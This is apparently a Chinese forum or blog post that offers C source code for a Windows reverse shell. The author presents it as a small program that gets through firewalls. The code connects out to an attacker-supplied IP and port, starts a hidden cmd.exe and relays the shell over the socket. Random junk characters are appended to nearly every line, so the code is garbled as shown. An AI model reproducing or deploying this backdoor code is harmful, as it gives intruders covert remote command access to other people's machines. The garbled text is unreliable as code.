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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t@!A1Vr@  
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/* ============================== ,:% h`P_  
Rebound port in Windows NT : `,#z?Rk  
By wind,2006/7  GjyTM  
===============================*/ z[l_<`J$9  
#include ^f9>tI{  
#include V\=%u<f  
py$i{v%  
#pragma comment(lib,"wsock32.lib") emIF{oP  
ubQr[/  
void OutputShell(); EOXuc9>G  
SOCKET sClient; [~ !9t9+~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W4"1H0s`l  
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void main(int argc,char **argv) oF_ '<\ly=  
{ jJAr #|  
WSADATA stWsaData; CEJqo8ds  
int nRet; >=/DCQ$  
SOCKADDR_IN stSaiClient,stSaiServer;  `l  
dQ Lo,S8(  
if(argc != 3) Kl]l[!c7$  
{ \qJ cs'D  
printf("Useage:\n\rRebound DestIP DestPort\n"); # blh9.V&F  
return; pV*d"~T  
} @ 1FWBH~  
jQ['f\R  
WSAStartup(MAKEWORD(2,2),&stWsaData); [ nLd>2P  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x LGMN)@r  
rge s`&0  
stSaiClient.sin_family = AF_INET; %' eaW  
stSaiClient.sin_port = htons(0); /4$ c-k  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1w#vy1m J  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ekd;sEO  
{ tG[v@-O  
printf("Bind Socket Failed!\n"); !}q@O-}j  
return; AmK g;9LS  
} k#G+<7c<  
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stSaiServer.sin_family = AF_INET; 5")BCA  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vy5I#q(k  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); g{JH5IZ~  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) V o%GO 9b;  
{ QB*n [(?  
printf("Connect Error!"); U["IXR#  
return; j.:f =`xf  
} P_(< ?0l  
OutputShell(); {6iHUK   
} |;R-q8  
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void OutputShell() jV' tcFr4  
{ caZEZk#r;  
char szBuff[1024]; GK&R.R]  
SECURITY_ATTRIBUTES stSecurityAttributes; EGj zjuJu{  
OSVERSIONINFO stOsversionInfo; .jl^"{@6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !'-./LD")  
STARTUPINFO stStartupInfo; |sBL(9  
char *szShell; -v=tM6  
PROCESS_INFORMATION stProcessInformation; |T{ZDJ+  
unsigned long lBytesRead; 5#::42oE  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X [;n149o  
Tvw(S q};  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y2Vc[o(NP  
stSecurityAttributes.lpSecurityDescriptor = 0; 0 gr#<(  
stSecurityAttributes.bInheritHandle = TRUE; c[EG cY={  
h8P_/.+g|V  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,&jjp eZP  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); BG+X8t8\  
'8b=4mrbH  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _#w5hX cu  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a]4|XJ_  
stStartupInfo.wShowWindow = SW_HIDE; j2jUrl  
stStartupInfo.hStdInput = hReadPipe; uKo4nXVtp  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; mWuhXY^Q  
;(IAhWE?7  
GetVersionEx(&stOsversionInfo); t}gK)"g  
u HXb=U  
switch(stOsversionInfo.dwPlatformId) n;k B_i*l  
{ I bE Nq  
case 1: t_Ul;HVPS  
szShell = "command.com"; M B,Z4 ^  
break; [H>/N7v19*  
default: ,62BZyT,T,  
szShell = "cmd.exe"; 2Oy-jM  
break; Rr>""  
} b2YOnV  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Ms A)Y  
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send(sClient,szMsg,77,0); @4jPaqa(  
while(1) [bd?$q i  
{ b<KKF'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I# |ib  
if(lBytesRead) Og kb N`  
{ (Jk:Qz5  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2_){4+,fu  
send(sClient,szBuff,lBytesRead,0); X($@E!|  
} !}HT&N8[r  
else bfA9aT  
{ 2^&5D,}0  
lBytesRead=recv(sClient,szBuff,1024,0); Zh_ P  
if(lBytesRead<=0) break; < !]7Gt  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); AI2>{V  
} VM"*@T  
} 7s1LK/R|u  
NjSjE_S2B8  
return; Fprhu;h  
}
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